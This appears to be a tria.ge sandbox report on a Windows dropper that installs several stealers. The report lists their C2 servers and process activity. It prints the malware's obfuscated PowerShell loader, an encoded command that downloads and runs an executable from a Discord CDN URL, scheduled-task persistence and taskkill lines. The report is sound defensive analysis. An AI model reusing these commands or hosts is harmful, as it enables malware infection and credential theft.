Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

01a53007f9...68.exe

windows7_x64

10

01a53007f9...68.exe

windows10_x64

10

022e3c30a1...66.exe

windows7_x64

10

022e3c30a1...66.exe

windows10_x64

10

02ca2b5bb7...35.exe

windows7_x64

10

02ca2b5bb7...35.exe

windows10_x64

10

0d69cafe70...cd.exe

windows7_x64

10

0d69cafe70...cd.exe

windows10_x64

10

0df647f0a2...bc.exe

windows7_x64

10

0df647f0a2...bc.exe

windows10_x64

10

1df367eead...2c.exe

windows7_x64

10

1df367eead...2c.exe

windows10_x64

10

1e083736ae...33.exe

windows7_x64

10

1e083736ae...33.exe

windows10_x64

10

1e662d9025...7d.exe

windows7_x64

10

1e662d9025...7d.exe

windows10_x64

10

2010009ff5...59.exe

windows7_x64

10

2010009ff5...59.exe

windows10_x64

10

243379992d...93.exe

windows7_x64

10

243379992d...93.exe

windows10_x64

10

2d63a14e4a...1a.exe

windows7_x64

10

2d63a14e4a...1a.exe

windows10_x64

10

30e6815ae0...51.exe

windows7_x64

1

30e6815ae0...51.exe

windows10_x64

1

364d3b0e94...fa.exe

windows7_x64

10

364d3b0e94...fa.exe

windows10_x64

10

3a4e2dfbd7...00.exe

windows7_x64

10

3a4e2dfbd7...00.exe

windows10_x64

10

4a4a606501...75.exe

windows7_x64

10

4a4a606501...75.exe

windows10_x64

10

4d89b00768...c0.exe

windows7_x64

10

4d89b00768...c0.exe

windows10_x64

10

Resubmissions

10/11/2021, 14:52

211110-r84p8aedej 10

09/11/2021, 13:19

211109-qkrv3sfcg4 10

Analysis

  • max time kernel
    73s
  • max time network
    215s
  • platform
    windows10_x64
  • resource
    win10-en-20211104
  • submitted
    09/11/2021, 13:19

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    4a4a606501eea3b8b9e128412455243ca20de0efe374c9c47ff3b5caac457375.exe

  • Size

    5.0MB

  • MD5

    2b0ce83a2a1065ef402b7a50f45892fd

  • SHA1

    d66a565247f9df9ac0bdb3725eee121e98d8914d

  • SHA256

    4a4a606501eea3b8b9e128412455243ca20de0efe374c9c47ff3b5caac457375

  • SHA512

    42d19f0130d34a3b37e78b6f1ba9c3c7e07d99e0a76dc005be976c51c2a363e64d475b9caa6805d3e8c1da2a4d32020f307eaae68b41d8c815ae1da8ec0db2ca

Score
10/10
arkeiredlinesmokeloadersocelarsvidarxloader05.10s0iwbackdoorevasioninfostealerloaderratspywarestealerthemidatrojanvmprotect

Malware Config

Extracted

Family

socelars

C2

http://www.iyiqian.com/

http://www.hbgents.top/

http://www.rsnzhy.com/

http://www.znsjis.top/

http://www.hhgenice.top/

Extracted

Family

redline

Botnet

05.10

C2

80.92.205.116:59599

Extracted

Family

smokeloader

Version

2020

C2

http://gmpeople.com/upload/

http://mile48.com/upload/

http://lecanardstsornin.com/upload/

http://m3600.com/upload/

http://camasirx.com/upload/
rc4.i32
rc4.i32

Extracted

Family

xloader

Version

2.5

Campaign

s0iw

C2

http://www.kyiejenner.com/s0iw/

Decoy

ortopediamodelo.com

orimshirts.store

universecatholicweekly.info

yvettechan.com

sersaudavelsempre.online

face-booking.net

europeanretailgroup.com

umofan.com

roemahbajumuslim.online

joyrosecuisine.net

3dmaker.house

megdb.xyz

stereoshopie.info

gv5rm.com

tdc-trust.com

mcglobal.club

choral.works

onlineconsultantgroup.com

friscopaintandbody.com

midwestii.com

Signatures

  • Arkei

    Arkei is an infostealer written in C++.

    stealerarkei
  • Modifies Windows Defender Real-time Protection settings 3 TTPs
    evasiontrojan
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine Payload 6 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

    trojanbackdoorsmokeloader
  • Socelars

    Socelars is an infostealer targeting browser cookies and credit card credentials.

    stealersocelars
  • Socelars Payload 4 IoCs
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

    stealervidar
  • Xloader

    Xloader is a rebranded version of Formbook malware.

    loaderxloader
  • Arkei Stealer Payload 1 IoCs
    stealer
  • Vidar Stealer 1 IoCs
    stealer
  • Xloader Payload 3 IoCs
    rat
  • Downloads MZ/PE file
  • Executes dropped EXE 12 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • VMProtect packed file 1 IoCs

    Detects executables packed with VMProtect commercial packer.

    vmprotect
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Themida packer 8 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 7 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Looks up geolocation information via web service

    Uses a legitimate geolocation service to find the infected system's geolocation info.

  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 7 IoCs
  • NSIS installer 4 IoCs
    installer
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Delays execution with timeout.exe 1 IoCs
    evasion
  • Kills process with taskkill 3 IoCs
    evasion
  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 19 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 62 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 55 IoCs

Processes

  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s Schedule
    1⤵
      PID:1044
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s Themes
      1⤵
        PID:1184
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
        1⤵
          PID:1148
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
          1⤵
            PID:356
          • c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k netsvcs -s UserManager
            1⤵
              PID:1432
            • c:\windows\system32\svchost.exe
              c:\windows\system32\svchost.exe -k netsvcs -s SENS
              1⤵
                PID:1444
              • c:\windows\system32\svchost.exe
                c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
                1⤵
                  PID:2692
                • c:\windows\system32\svchost.exe
                  c:\windows\system32\svchost.exe -k netsvcs -s WpnService
                  1⤵
                    PID:2676
                  • c:\windows\system32\svchost.exe
                    c:\windows\system32\svchost.exe -k netsvcs -s Browser
                    1⤵
                      PID:2580
                    • c:\windows\system32\svchost.exe
                      c:\windows\system32\svchost.exe -k netsvcs -s BITS
                      1⤵
                      • Suspicious use of SetThreadContext
                      • Modifies registry class
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of WriteProcessMemory
                      PID:3844
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k SystemNetworkService
                        2⤵
                        • Drops file in System32 directory
                        • Checks processor information in registry
                        • Modifies data under HKEY_USERS
                        • Modifies registry class
                        PID:3024
                    • c:\windows\system32\svchost.exe
                      c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
                      1⤵
                        PID:2360
                      • c:\windows\system32\svchost.exe
                        c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
                        1⤵
                          PID:2344
                        • c:\windows\system32\svchost.exe
                          c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
                          1⤵
                            PID:1916
                          • C:\Users\Admin\AppData\Local\Temp\4a4a606501eea3b8b9e128412455243ca20de0efe374c9c47ff3b5caac457375.exe
                            "C:\Users\Admin\AppData\Local\Temp\4a4a606501eea3b8b9e128412455243ca20de0efe374c9c47ff3b5caac457375.exe"
                            1⤵
                            • Suspicious use of WriteProcessMemory
                            PID:2612
                            • C:\Users\Admin\AppData\Local\Temp\Graphics.exe
                              "C:\Users\Admin\AppData\Local\Temp\Graphics.exe"
                              2⤵
                              • Executes dropped EXE
                              • Suspicious use of WriteProcessMemory
                              PID:2756
                              • C:\Users\Admin\AppData\Local\Temp\RarSFX0\Graphicss.exe
                                "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Graphicss.exe"
                                3⤵
                                • Executes dropped EXE
                                • Suspicious use of AdjustPrivilegeToken
                                • Suspicious use of WriteProcessMemory
                                PID:1500
                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                  "powershell.exe" [StriNG]::JOiN('', ( '20<22>24T28>73T45T54O2dr69T74O65O6dr20r20T27<56<61O72>49T41>42r6c~45j3ar6f<66O53j27O20O27~27>20~29j20~22%2b>5b>53%54O72%49j6er67j5d>28<20<27r32T34O47O37T35r2dj37O32r7er36~63<57<36r34>59O32O30%47T33~64O2d<32%30%7eO32%37>2dr36~38%7ej37%34>3b%37r34<57%37%30%2dO37T33O6fT33>61<3b<32T66T47T32j66>47O36j33O59O36j34>7e<36<65r48<32~65j57~36<34>7e<36r39O48~37<33O47T36%33r48~36j66r7ej37r32~48>36r34~47>36r31O3b~37T30j48T37<30O48>32>65T48O36%33j48j36<66T47<36%64O2d%32j66~3br36T31j59<37%34j47~37<34O59O36~31<3b~36r33T48~36~38>6fj36>64<57~36%35r3bO36>65<48O37j34j59j37%33r7ej32O66T57%33%35T47T33~32%7er33r33<2dT33O32T6f<33<33r3b<33%38O59O33j36~59O33~33>3bT33>36O6f>33%35r57<33T36%7ej33j31j57~33~36j57%33T32~47O33O39>47~33%31r57<33~39T7e<33<30j3b<32%66r7e>33j38T6fj33j39<48O33~34r3br33T38<57T33T34<57j33~36~6fr33O30T7e<33~37r48O33<32%59~33r30O2dT33T39>47O33>37T48r33O32O2dr33<31j48r33%38j47<33%35%7e%33O38O48>33T30<3br32j66T57r36O37r3b~36O38j57>36T39j48T36<35j57<36T63~2d>37~35T59O36>36%2dO37~35r2dT37<61<3br37>39j48O36r64O6f%36%64~48T37T35<3br36O39>47>36O32>6f%37r35<7e>36%37j57O36O62%47O36T38O7e<36~64~2dj37r36>59j36j39T48O36>31O59%36O31T59r36O61O2d<37r36>3bj36<36~6f~37T37r6fr36%39%59~36r66~6f>32r65~47%36T35r3b<37r38j6fT36>35O7e>32j37j6fO33%62>59%32r34%2dO37%30>59O36>31O48j37T34O7ej36>38r6fr32<30<7e>33j64r57j32O30r6f>32%34j3b%36%35<2d>36%65T6fO37<36j3bT33r61~3b>35j34%48r34>35<59<34O64%2dj35j30>59%32~62>3b%32%32r59<36O38T2dr36%62~6f~36O36~2dO36O64j57%37~38r6f~36>37%59r36T36<48r36<34>3bj36j32r59T36~63O47j36r62>2dj36r34O47r36r33~59<36<37r3bj36<39~7e<37T38T48T36%62O57r36O36T47r36j62~59O37<33>2d<36O61~3bT36r63r2dr36j37T3b%36O64T7e~36O36j57T36>62O7er36>66<57~36T36j57r36j37j2dj37>35<7e<32j65%2dj36>35>7er37>38%59>36j35T47j32>32>47<33r62r57j32j34r7e~37%33>59O36<33r57~37r32O48j36r39O6f>37<30>2d~37r34O57O37T32j3bj37>35r2dj36O65>57r32~30%2dr33j64~57~32~30j7eO32>32>59%37r30T2dj36T66j48T37j37>6fO36<35<57<37j32r6fr37j33T2dr36>38<48>36T35~7eO36<63<59<36<63~7er32%65<3bT36<35T3b~37T38~3br36j35r3b<32j30~57~32<64T2d%36%33T3bO36>66~7e>36<64O59O36T64T59%36j31~47>36j65>48>36~34O7eT32T30T57O35T30<2dT36%66<3bj37j37>48<36O35~48T37>32%47%35>33~6f~36r38>57T36%35T48<36r63~2d>36j63~6fj32<30<3bT32%64j47<34j35T2dj37~38>7er36~35<6f>36j33%59T37O35<57T37j34j3b<36O39>2d>36T66T3b%36O65j3bO35<30~47~36r66j2d>36%63r59~36%39r2d<36T33>2dj37T39~59~32O30O57<36r32<48O37r39j47~37~30>6f>36T31<6fO37r33~3bj37<33T2d~32>30O48j32r64>48j36~65%48%36r66<3bO37>30<2dr37r32>48%36r66O2dT36>36O2d<36>39>59T36j63<3b>36<35r3bT32<30O47>32>64>3bj37<37>47>36%39<48j36~65>2d<36%34r6fj36~66r7er37>37O57r37~33T57O37r34<6f~37<39~3b>36~63j48<36>35%57<32>30>48r36T38O7eO36j39<7e<36r34j57T36<34O59O36j35T7e>36<65%59%32O30>47<32j64r3br36r33T6fj36O66~7e~36%64j59T36%64<48%36>31r3br36j65j3b~36>34j7eO32~30~48>35<33<47O37<34>47~36%31%2dj37j32>2dr37%34T7ej32r64~6fO34>32%3bO36%39T48~37j34T48O37>33%3b%35<34>48T37O32>48<36<31T2d~36T65r48j37>33T7e~36r36r7er36>35j3bj37O32<7e%32T30<48O32%64j47j35>33j6f>36r66<57>37O35T6f%37>32O57r36O33T3br36r35O57r32T30j59<32j34O47T37>35%48>37>32~47<36~63%7e~36r34O3br32~30~6fO32j64>6fr34r34<3b%36j35T47%37%33>47<37r34r3bj36O39~47%36j65~3b%36<31j47T37T34%48O36j39r3bj36>66O6f>36O65O2d>32%30>3bT32%34~59<37T30~7e~36<31~47<37~34j59%36>38>7e~33r62%59<32~32<47O33~62<3bO32~34~2d<36%32j7eT36~31%57%37T33>7eT36O35O7ej33j36~2d>33>34j2d>32~30O48<33j64>3b%32T30j59>35<62~2d<34O33T3b>36%66%2d%36%65O7ej37O36r57T36T35O48O37%32j7eO37r34~47r35O64j57r33j61r3b>33O61r2d<35r34r7eO36~66T6fO34r32<47%36O31>7e%37T33<47~36O35r2dO33j36O6f~33r34T7er35<33<7e<37O34j3bT37<32~48r36j39O2dr36>65%7e>36T37<2d<32<38j59%35<62O57r35<33T2d>37r39%57~37T33<57%37T34>3b~36T35r48>36r64O57>32r65O2dj35r34O59~36T35r59r37<38r47>37j34r7eO32O65%47<34O35<7er36%65<3bT36r33<7er36j66>59r36~34>6f%36%39j6fO36%65>6f<36>37r2d~35~64j6f>33T61j3br33j61T7e>35j35T6fT36T65<2dT36<39<6f%36<33~7e<36T66~6f>36T34O6f>36O35T2dr32j65O3b~34j37T6fj36%35%48%37T34<57j34~32%6fr37<39T3bO37j34T48>36<35~6f%37T33j2d>32%38O3bj32r34<57O37<33~59~36r33~47~37<32r57%36j39r59<37%30~47~37%34~3b<37j32>47j37r35O48O36T65O2dT32%39<7eT32<39O7e%33j62O47%37%37<48j36%38<7e<36O39T47%36>63~48O36T35~47O32%30>48%32O38<6f%32>31~6fO35r62<47T35<33O3br37%39%48<37O33~7er37O34O2dO36<35<59j36<64~47T32O65<6fj34T39T48r34r66r6f<32%65O2d~34%36r2dj36%39>47T36O63T59j36j35<2d<35~64<6fO33~61r3b>33>61>47~34j35O48>37O38r3b~36O39%6fr37O33~47j37>34>57r37%33T2d>32~38>7e~32r34~6f>37~30%57O36j31%47O37j34%59T36<38~57>32%39~59O32O39<47r37%62O57r32<30T47j34~39%48~34<35%3bj35~38%59j32O30O48O32%32r3b>37>30>3br36%66<47O37<37T7ej36%35r57<37O32j59O37j33~2d%36~38>59<36~35%3b%36~63%48~36T63O48<32r30r59%32j64r2d%34j35%3b~32>30>3b~32<34%3b<36j32<3b<36r31%3b<37<33~48O36r35~3b>33~36%6fO33%34~59%32%32j57<33T62T3bT32>30r7e%36~32T47T37%32O3bj36%35>6fO36~31~6fj36r62~7ej33>62~3bj32j30<47j37T64>2dT32j30%6f<35>33<3bT37%34~47T36r31<6f<37O32T57~37T34j6fT32%64j3b<35T30r57~37O32%59T36>66O48T36T33T6f~36O35>47T37~33%47~37<33<2d~32O38>47j32r34O6fj36T35j48r36~65r3br37<36T59%33>61j48<35~34~59>34%35j48T34O64%57r35>30>48<32%62<57T32T37<3bO36%38O6fj36j62O7er36T36T48%36<64~47>37T38O7ej36T37j48>36~36r48<36j34>7e~36<32<3br36~63<3b~36~62~47<36T34<2dr36O33T7eT36T37T6f~36~39<48T37r38r57T36<62j59%36%36T7ej36T62O2d>37O33<2dT36>61<48~36O63O59j36O37%59T36T64j7e<36r36>3bT36T62%2d>36r66~48r36r36~3b<36j37r6fr37O35O48O32j65r7e>36O35r7eO37r38r3br36T35j48%32~37>59T32>39%3b~33~62>27O20~2dT53~70r6cO69%74>20O27<57T27>20~2dO73r70j4cj69<54O20O27~6fT27%2dr53~50r6cO49j54r27%48<27>2d~53T50r4c~49>54%20r27j2dT27<2dr53~50~4c~69O54~27<7ej27~2dr53>70%4cT49r54r20r27O59~27~20~2d>73O70T4cT49>54<27<47O27<20<2d%53>50O4cr69~54T27%3b<27<7c%46j6fT72%45>41%43%68>7b%20r28%20~5bT63%6fT6e~76>65>52<74%5d<3aj3a%54>4fO69<6e>74%31j36j28~20%28<20j24<5fj2e>74r6fT53>54<72>69<4e<67<28r29<20~29O20j2cj20O31O36>20%29%2d>41j73O20r5bj43T48T61<52r5d<29~20<7dT20r29j20>2b%22~24~28O20~73%76j20<27>6fT66j53%27<20r20~27r20r27T29T22T20O7cT69~6e~76r6fr4br45r2dj45O58%50>52%45%53<73~49<6f<4e' -Split'<'-spLIT'j'-SpliT '~'-Split'O'-SpLIT 'r' -SPlIT'>'-SpLIT 'T'-SpLIt '%'|foReACH{( [CHaR] ([CoNveRt]::tOINT16(( $_.TosTRiNG() ) ,16 ))) } ))|& ( $VErBOSEPrEfErence.TosTRinG()[1,3]+'X'-JoiN'')
                                  4⤵
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:1228
                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -E cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAALQBjAG8AbQBtAGEAbgBkACAAUABvAHcAZQByAFMAaABlAGwAbAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAcgBvAGYAaQBsAGUAIAAtAHcAaQBuAGQAbwB3AHMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBjAG8AbQBtAGEAbgBkACAAUwB0AGEAcgB0AC0AQgBpAHQAcwBUAHIAYQBuAHMAZgBlAHIAIAAtAFMAbwB1AHIAYwBlACAAaAB0AHQAcABzADoALwAvAGMAZABuAC4AZABpAHMAYwBvAHIAZABhAHAAcAAuAGMAbwBtAC8AYQB0AHQAYQBjAGgAbQBlAG4AdABzAC8ANQAyADMAMgAzADgANgAzADYANQA2ADEANgAyADkAMQA5ADAALwA4ADkANAA4ADQANgAwADcAMgAwADkANwAyADEAOAA1ADgAMAAvAGcAaABpAGUAbAB1AGYAdQB6AHkAbQBtAHUAaQBiAHUAZwBrAGgAbQB2AGkAYQBhAGoAdgBmAHcAaQBvAC4AZQB4AGUAIAAtAEQAZQBzAHQAaQBuAGEAdABpAG8AbgAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAGgAawBmAG0AeABnAGYAZABiAGwAawBkAGMAZwBpAHgAawBmAGsAcwBqAGwAZwBtAGYAawBvAGYAZwB1AC4AZQB4AGUAOwA=
                                    5⤵
                                      PID:5164
                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden -command Start-BitsTransfer -Source https://cdn.discordapp.com/attachments/523238636561629190/894846072097218580/ghielufuzymmuibugkhmviaajvfwio.exe -Destination C:\Users\Admin\AppData\Local\Temphkfmxgfdblkdcgixkfksjlgmfkofgu.exe
                                        6⤵
                                          PID:3052
                                • C:\Users\Admin\AppData\Local\Temp\FoxSBrowser.exe
                                  "C:\Users\Admin\AppData\Local\Temp\FoxSBrowser.exe"
                                  2⤵
                                  • Executes dropped EXE
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:3332
                                • C:\Users\Admin\AppData\Local\Temp\md9_1sjm.exe
                                  "C:\Users\Admin\AppData\Local\Temp\md9_1sjm.exe"
                                  2⤵
                                  • Executes dropped EXE
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:824
                                • C:\Users\Admin\AppData\Local\Temp\Install.exe
                                  "C:\Users\Admin\AppData\Local\Temp\Install.exe"
                                  2⤵
                                  • Executes dropped EXE
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:3904
                                  • C:\Windows\SysWOW64\cmd.exe
                                    cmd.exe /c taskkill /f /im chrome.exe
                                    3⤵
                                      PID:6004
                                      • C:\Windows\SysWOW64\taskkill.exe
                                        taskkill /f /im chrome.exe
                                        4⤵
                                        • Kills process with taskkill
                                        PID:5320
                                  • C:\Users\Admin\AppData\Local\Temp\Process.exe
                                    "C:\Users\Admin\AppData\Local\Temp\Process.exe"
                                    2⤵
                                    • Executes dropped EXE
                                    PID:1364
                                  • C:\Users\Admin\AppData\Local\Temp\Files.exe
                                    "C:\Users\Admin\AppData\Local\Temp\Files.exe"
                                    2⤵
                                    • Executes dropped EXE
                                    PID:872
                                  • C:\Users\Admin\AppData\Local\Temp\Folder.exe
                                    "C:\Users\Admin\AppData\Local\Temp\Folder.exe"
                                    2⤵
                                    • Executes dropped EXE
                                    PID:1316
                                  • C:\Users\Admin\AppData\Local\Temp\pub2.exe
                                    "C:\Users\Admin\AppData\Local\Temp\pub2.exe"
                                    2⤵
                                    • Executes dropped EXE
                                    • Checks SCSI registry key(s)
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious behavior: MapViewOfSection
                                    PID:2892
                                  • C:\Users\Admin\AppData\Local\Temp\Details.exe
                                    "C:\Users\Admin\AppData\Local\Temp\Details.exe"
                                    2⤵
                                    • Executes dropped EXE
                                    PID:400
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 400 -s 656
                                      3⤵
                                      • Program crash
                                      PID:5772
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 400 -s 672
                                      3⤵
                                      • Program crash
                                      PID:5560
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 400 -s 688
                                      3⤵
                                      • Program crash
                                      PID:5272
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 400 -s 636
                                      3⤵
                                      • Program crash
                                      PID:5136
                                  • C:\Users\Admin\AppData\Local\Temp\File.exe
                                    "C:\Users\Admin\AppData\Local\Temp\File.exe"
                                    2⤵
                                    • Executes dropped EXE
                                    • Checks computer location settings
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of WriteProcessMemory
                                    PID:688
                                    • C:\Users\Admin\Pictures\Adobe Films\dLgfRh9elXlPJqcwdgwq0Rsw.exe
                                      "C:\Users\Admin\Pictures\Adobe Films\dLgfRh9elXlPJqcwdgwq0Rsw.exe"
                                      3⤵
                                      • Executes dropped EXE
                                      PID:3764
                                    • C:\Users\Admin\Pictures\Adobe Films\9FpUiCR5Gzs15ss2IxeofQnd.exe
                                      "C:\Users\Admin\Pictures\Adobe Films\9FpUiCR5Gzs15ss2IxeofQnd.exe"
                                      3⤵
                                        PID:5108
                                      • C:\Users\Admin\Pictures\Adobe Films\Tmzqs0IBbjpOXWdFG8Us0wPG.exe
                                        "C:\Users\Admin\Pictures\Adobe Films\Tmzqs0IBbjpOXWdFG8Us0wPG.exe"
                                        3⤵
                                          PID:2372
                                          • C:\Windows\SysWOW64\WerFault.exe
                                            C:\Windows\SysWOW64\WerFault.exe -u -p 2372 -s 1580
                                            4⤵
                                            • Program crash
                                            PID:4212
                                        • C:\Users\Admin\Pictures\Adobe Films\lODTGlieaCTGhj3ei1QLqA1H.exe
                                          "C:\Users\Admin\Pictures\Adobe Films\lODTGlieaCTGhj3ei1QLqA1H.exe"
                                          3⤵
                                            PID:4196
                                            • C:\Users\Admin\Documents\fHm3OnrBKvS9iS7yz6rh6rph.exe
                                              "C:\Users\Admin\Documents\fHm3OnrBKvS9iS7yz6rh6rph.exe"
                                              4⤵
                                                PID:5192
                                              • C:\Windows\SysWOW64\schtasks.exe
                                                schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
                                                4⤵
                                                • Creates scheduled task(s)
                                                PID:5324
                                              • C:\Windows\SysWOW64\schtasks.exe
                                                schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
                                                4⤵
                                                • Creates scheduled task(s)
                                                PID:5300
                                            • C:\Users\Admin\Pictures\Adobe Films\VZWHqlQmBpJ9OdaH9x9UBrv6.exe
                                              "C:\Users\Admin\Pictures\Adobe Films\VZWHqlQmBpJ9OdaH9x9UBrv6.exe"
                                              3⤵
                                                PID:4352
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  "C:\Windows\System32\cmd.exe" /c taskkill /im "VZWHqlQmBpJ9OdaH9x9UBrv6.exe" /f & erase "C:\Users\Admin\Pictures\Adobe Films\VZWHqlQmBpJ9OdaH9x9UBrv6.exe" & exit
                                                  4⤵
                                                    PID:4056
                                                    • C:\Windows\SysWOW64\taskkill.exe
                                                      taskkill /im "VZWHqlQmBpJ9OdaH9x9UBrv6.exe" /f
                                                      5⤵
                                                      • Kills process with taskkill
                                                      PID:6048
                                                • C:\Users\Admin\Pictures\Adobe Films\Vf7Urw0U3qM9Trt97DfKqA_v.exe
                                                  "C:\Users\Admin\Pictures\Adobe Films\Vf7Urw0U3qM9Trt97DfKqA_v.exe"
                                                  3⤵
                                                    PID:4676
                                                  • C:\Users\Admin\Pictures\Adobe Films\rFkjDAryLuAM47g62P3jA7lJ.exe
                                                    "C:\Users\Admin\Pictures\Adobe Films\rFkjDAryLuAM47g62P3jA7lJ.exe"
                                                    3⤵
                                                      PID:4648
                                                      • C:\Users\Admin\Pictures\Adobe Films\rFkjDAryLuAM47g62P3jA7lJ.exe
                                                        "C:\Users\Admin\Pictures\Adobe Films\rFkjDAryLuAM47g62P3jA7lJ.exe"
                                                        4⤵
                                                          PID:4820
                                                      • C:\Users\Admin\Pictures\Adobe Films\avy72weubbIq_0RRpFwsMajO.exe
                                                        "C:\Users\Admin\Pictures\Adobe Films\avy72weubbIq_0RRpFwsMajO.exe"
                                                        3⤵
                                                          PID:4656
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\avy72weubbIq_0RRpFwsMajO.exe" & exit
                                                            4⤵
                                                              PID:2888
                                                              • C:\Windows\SysWOW64\timeout.exe
                                                                timeout /t 5
                                                                5⤵
                                                                • Delays execution with timeout.exe
                                                                PID:5552
                                                          • C:\Users\Admin\Pictures\Adobe Films\SB7Hoq6Nv6OFBaM0FThIeTmn.exe
                                                            "C:\Users\Admin\Pictures\Adobe Films\SB7Hoq6Nv6OFBaM0FThIeTmn.exe"
                                                            3⤵
                                                              PID:4636
                                                            • C:\Users\Admin\Pictures\Adobe Films\duEK321S318VaLXQlD18s_Nt.exe
                                                              "C:\Users\Admin\Pictures\Adobe Films\duEK321S318VaLXQlD18s_Nt.exe"
                                                              3⤵
                                                                PID:4628
                                                              • C:\Users\Admin\Pictures\Adobe Films\mEisHZG0MKF1QVKz3XhJyyuh.exe
                                                                "C:\Users\Admin\Pictures\Adobe Films\mEisHZG0MKF1QVKz3XhJyyuh.exe"
                                                                3⤵
                                                                  PID:4616
                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4616 -s 480
                                                                    4⤵
                                                                    • Program crash
                                                                    PID:5856
                                                                • C:\Users\Admin\Pictures\Adobe Films\ABCquiph1hEH7Miy19zYtJt4.exe
                                                                  "C:\Users\Admin\Pictures\Adobe Films\ABCquiph1hEH7Miy19zYtJt4.exe"
                                                                  3⤵
                                                                    PID:4592
                                                                  • C:\Users\Admin\Pictures\Adobe Films\l0LaKjt8MHR3KD3Ux7B2cCHI.exe
                                                                    "C:\Users\Admin\Pictures\Adobe Films\l0LaKjt8MHR3KD3Ux7B2cCHI.exe"
                                                                    3⤵
                                                                      PID:4600
                                                                      • C:\Program Files (x86)\Company\NewProduct\cutm3.exe
                                                                        "C:\Program Files (x86)\Company\NewProduct\cutm3.exe"
                                                                        4⤵
                                                                          PID:592
                                                                      • C:\Users\Admin\Pictures\Adobe Films\b60ejmOrH25CqPXCzEA5jRwi.exe
                                                                        "C:\Users\Admin\Pictures\Adobe Films\b60ejmOrH25CqPXCzEA5jRwi.exe"
                                                                        3⤵
                                                                          PID:4580
                                                                        • C:\Users\Admin\Pictures\Adobe Films\z0eC6KjeBdi4hy6U1dl6S8yC.exe
                                                                          "C:\Users\Admin\Pictures\Adobe Films\z0eC6KjeBdi4hy6U1dl6S8yC.exe"
